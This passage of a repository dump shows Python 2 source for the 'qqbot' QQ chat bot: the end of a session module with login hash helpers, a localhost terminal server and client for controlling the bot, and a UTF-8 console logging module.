526 | nCE+nTO+nUE+nDE, url, errorInfo, repr(html))
527 | time.sleep(0.5)
528 | elif nTO == 20 and timeoutRetVal: # by @killerhack
529 | return timeoutRetVal
530 | else:
531 | CRITICAL('第%d次请求“%s”时出现“%s”',
532 | nCE+nTO+nUE+nDE, url, errorInfo)
533 | raise QSession.Error
534 |
535 | def qHash(x, K):
536 | N = [0] * 4
537 | for T in range(len(K)):
538 | N[T%4] ^= ord(K[T])
539 |
540 | U, V = 'ECOK', [0] * 4
541 | V[0] = ((x >> 24) & 255) ^ ord(U[0])
542 | V[1] = ((x >> 16) & 255) ^ ord(U[1])
543 | V[2] = ((x >> 8) & 255) ^ ord(U[2])
544 | V[3] = ((x >> 0) & 255) ^ ord(U[3])
545 |
546 | U1 = [0] * 8
547 | for T in range(8):
548 | U1[T] = N[T >> 1] if T % 2 == 0 else V[T >> 1]
549 |
550 | N1, V1 = '0123456789ABCDEF', ''
551 | for aU1 in U1:
552 | V1 += N1[((aU1 >> 4) & 15)]
553 | V1 += N1[((aU1 >> 0) & 15)]
554 |
555 | return V1
556 |
557 | def bknHash(skey, init_str=5381):
558 | hash_str = init_str
559 | for i in skey:
560 | hash_str += (hash_str << 5) + ord(i)
561 | hash_str = int(hash_str & 2147483647)
562 | return hash_str
563 |
564 | if __name__ == '__main__':
565 | session, contacts = QLogin(conf=QConf())
566 |
--------------------------------------------------------------------------------
/qqbot/qsession.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/qsession.pyc
--------------------------------------------------------------------------------
/qqbot/qterm.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | import sys, socket, time
4 |
5 | try:
6 | import readline
7 | except ImportError:
8 | pass
9 |
10 | from common import CallInNewConsole
11 | from utf8logger import INFO, WARN, RAWINPUT, PRINT
12 | from messagefactory import MessageFactory, Message
13 |
14 | HOST, DEFPORT = '127.0.0.1', 8188
15 |
16 | class QTermServer:
17 | def __init__(self, port):
18 | self.port = port
19 |
20 | def Run(self):
21 | try:
22 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
23 | self.sock.bind((HOST, self.port))
24 | self.sock.listen(5)
25 | except socket.error as e:
26 | WARN('无法开启 QQBot term 服务器。%s', e)
27 | else:
28 | time.sleep(0.1)
29 | INFO('已在 %s 端口开启 QQBot-Term 服务器', self.port)
30 | if CallInNewConsole(['python', __file__, str(self.port)]) != 0:
31 | WARN('无法自动打开新控制台运行 QTerm 客户端,'
32 | '请手动打开新控制台并运行 qterm %s 命令', self.port)
33 |
34 | while True:
35 | try:
36 | sock, addr = self.sock.accept()
37 | except socket.error:
38 | WARN('QQBot-Term 服务器出现 accept 错误')
39 | else:
40 | name = 'QTerm 客户端<%s:%s>' % addr
41 | sock.settimeout(5.0)
42 | try:
43 | data = sock.recv(1024)
44 | except socket.error:
45 | sock.close()
46 | else:
47 | INFO('来自 %s 的消息:%s', name, data)
48 | yield TermMessage(name, sock, data)
49 |
50 | def processMsg(self, factory, msg):
51 | if msg.content == 'stop':
52 | msg.Reply('QQBot已停止')
53 | factory.Stop()
54 | else:
55 | msg.Reply('Hello, ' + msg.content)
56 |
57 | def Test(self):
58 | factory = MessageFactory()
59 | factory.On('termmessage', self.processMsg)
60 | factory.AddGenerator(self.Run)
61 | factory.Run()
62 |
63 | class TermMessage(Message):
64 | mtype = 'termmessage'
65 |
66 | def __init__(self, name, sock, content):
67 | self.name = name
68 | self.sock = sock
69 | self.content = content
70 |
71 | def Reply(self, rep):
72 | try:
73 | self.sock.sendall(rep and str(rep) or '\r\n')
74 | INFO('已向 %s 回复消息', self.name)
75 | except socket.error:
76 | WARN('回复 %s 失败', self.name)
77 | finally:
78 | self.sock.close()
79 |
80 | def qterm(port):
81 | req = 'help'
82 | while req != 'quit':
83 | if req:
84 | resp = query(port, req)
85 | if not resp:
86 | RAWINPUT('与 QQBot term 服务器的连接已断开,按回车键退出')
87 | break
88 | if resp == 'QQBot已停止':
89 | RAWINPUT('QQBot已停止,按回车键退出')
90 | break
91 | resp = resp.strip()
92 | while True:
93 | front, resp = partition(resp)
94 | if resp:
95 | RAWINPUT(front+'...')
96 | else:
97 | resp = front
98 | break
99 | else:
100 | resp = ''
101 |
102 | if resp:
103 | req = RAWINPUT(resp+'\nqterm>> ').strip()
104 | else:
105 | req = RAWINPUT('qterm>> ').strip()
106 |
107 | def partition(s):
108 | n = len(s)
109 | if n <= 800:
110 | return s, ''
111 | else:
112 | for i in range(800, min(n, 900)):
113 | if s[i] == '\n':
114 | i += 1
115 | break
116 | return s[:i], s[i:]
117 |
118 | def query(port, req):
119 | resp = ''
120 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
121 | try:
122 | sock.connect((HOST, port))
123 | sock.sendall(req)
124 | while True:
125 | data = sock.recv(8096)
126 | if not data:
127 | return resp
128 | resp += data
129 | except socket.error:
130 | return resp
131 | finally:
132 | sock.close()
133 |
134 | def QTerm():
135 | # python qterm.py -s
136 | # python qterm.py [PORT] [COMMAND]
137 | try:
138 | if len(sys.argv) == 2 and sys.argv[1] == '-s':
139 | QTermServer(DEFPORT).Test()
140 | else:
141 | if len(sys.argv) >= 2 and sys.argv[1].isdigit():
142 | port = int(sys.argv[1])
143 | command = ' '.join(sys.argv[2:])
144 | else:
145 | port = DEFPORT
146 | command = ' '.join(sys.argv[1:])
147 |
148 | if not command:
149 | qterm(port)
150 | else:
151 | coding = sys.getfilesystemencoding()
152 | PRINT(query(port, command.decode(coding).encode('utf8')))
153 | except KeyboardInterrupt:
154 | pass
155 |
156 | if __name__ == '__main__':
157 | QTerm()
158 |
--------------------------------------------------------------------------------
/qqbot/qterm.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/qterm.pyc
--------------------------------------------------------------------------------
/qqbot/utf8logger.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | import sys, logging
4 |
5 | def equalUtf8(coding):
6 | return coding is None or coding.lower() in ('utf8', 'utf-8', 'utf_8')
7 |
8 | class CodingWrappedWriter:
9 | def __init__(self, coding, writer):
10 | self.flush = getattr(writer, 'flush', lambda : None)
11 |
12 | wcoding = getattr(writer, 'encoding', None)
13 | wcoding = 'gb18030' if (wcoding in ('gbk', 'cp936')) else wcoding
14 |
15 | if not equalUtf8(wcoding):
16 | self._write = lambda s: writer.write(
17 | s.decode(coding).encode(wcoding, 'ignore')
18 | )
19 | else:
20 | self._write = writer.write
21 |
22 | def write(self, s):
23 | self._write(s)
24 | self.flush()
25 |
26 |
27 | # utf8Stdout.write("中文") <==>
28 | # sys.stdout.write("中文".decode('utf8').encode(sys.stdout.encoding))
29 | utf8Stdout = CodingWrappedWriter('utf8', sys.stdout)
30 |
31 | def Utf8Logger(name):
32 | logger = logging.getLogger(name)
33 | if not logger.handlers:
34 | logger.setLevel(logging.INFO)
35 | ch = logging.StreamHandler(utf8Stdout)
36 | fmt = '[%(asctime)s] [%(levelname)s] %(message)s'
37 | datefmt = '%Y-%m-%d %H:%M:%S'
38 | ch.setFormatter(logging.Formatter(fmt, datefmt))
39 | logger.addHandler(ch)
40 | return logger
41 |
42 | logging.getLogger("").setLevel(logging.CRITICAL)
43 |
44 | utf8Logger = Utf8Logger('Utf8Logger')
45 |
46 | def SetLogLevel(level):
47 | utf8Logger.setLevel(getattr(logging, level.upper()))
48 |
49 | def DisableLog():
50 | utf8Logger.disabled = True
51 |
52 | def EnableLog():
53 | utf8Logger.disabled = False
54 |
55 | _thisDict = globals()
56 |
57 | for name in ('CRITICAL', 'ERROR', 'WARN', 'INFO', 'DEBUG'):
58 | _thisDict[name] = getattr(utf8Logger, name.lower())
59 |
60 | def RAWINPUT(msg):
61 | utf8Stdout.write(msg)
62 | s = raw_input('').rstrip()
63 | if not equalUtf8(sys.stdin.encoding):
64 | s = s.decode(sys.stdin.encoding).encode('utf8')
65 | return s
66 |
67 | PRINT = lambda s: utf8Stdout.write(s + '\n')
68 |
--------------------------------------------------------------------------------
/qqbot/utf8logger.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/utf8logger.pyc
--------------------------------------------------------------------------------